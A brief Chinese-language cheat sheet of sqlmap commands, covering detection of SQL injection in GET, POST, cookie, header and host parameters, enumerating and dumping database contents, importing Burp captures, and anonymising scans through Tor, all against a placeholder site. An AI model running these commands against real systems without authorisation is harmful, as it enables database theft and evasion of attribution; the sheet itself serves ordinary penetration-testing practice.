Sqlmap基本操作

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

python sqlmap.py -h		# 获取常见选项
python sqlmap.py -hh	# 获取所有选项
python sqlmap.py -u www.example.com									 # 检测GET注入
python sqlmap.py -u www.example.com --batch							  # 使用默认选项（不用手动选择y/n）
python sqlmap.py -u www.example.com --batch --dbs --tables --columns	# 返回数据库/表/列
python sqlmap.py -u www.example.com --batch -D xxx -T xxx -C xxx		# 指定数据库/表/列
python sqlmap.py -u www.example.com --batch --dump					   # 直接返回数据库内容

python sqlmap.py -m 1.txt								# 从文件中导入url
python sqlmap.py -r res.txt								# 从文件中导入http响应
python sqlmap.py -l burp.txt							# 从文件中导入burp抓包文件
python sqlmap.py -u www.example.com  --data="id=1"		  # 使用POST注入
python sqlmap.py -u www.example.com --level 2			  # 使用2级注入，检测cookie注入
python sqlmap.py -u www.example.com --level 3			  # 使用3级注入，检测referer注入和USER-AGENT注入
python sqlmap.py -u www.example.com --level 5			  # 使用5级注入，检测host注入
python sqlmap.py -u www.example.com --random-agent  	   # 使用随机代理
python sqlmap.py -u www.example.com --tor				  # 使用匿名tor网络
python sqlmap.py -u www.example.com --hpp				  # 检测http污染